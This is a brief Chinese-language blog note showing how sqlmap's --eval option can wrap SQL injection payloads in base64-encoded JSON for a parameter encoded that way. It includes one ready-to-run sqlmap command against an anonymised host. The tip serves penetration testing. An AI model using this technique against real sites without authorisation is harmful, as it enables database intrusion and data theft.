sqlmap --eval小记

sqlmap –eval小记

转载请注明出处:https://youngrichog.github.io/

描述

偶然机会接触到了sqlmap –eval参数,特意记录一下,感觉以前都没有用到过 :-(

注入点是这样的:http://xxxxxx.com/?id=一段bas64

base64解开是{“a”:”1”,”b”:”2”,”c”:”3”}

注入点发生在a这个值上,思前想后貌似sqlmap tamper中没有,然后bingo

解决

1
sqlmap -u "http://xxxxxx.com/?id=" --eval "import base64; p=base64.b64encode('{\"a\":\"%s\",\"b\":\"2\",\"c\":\"3\"}'%p)"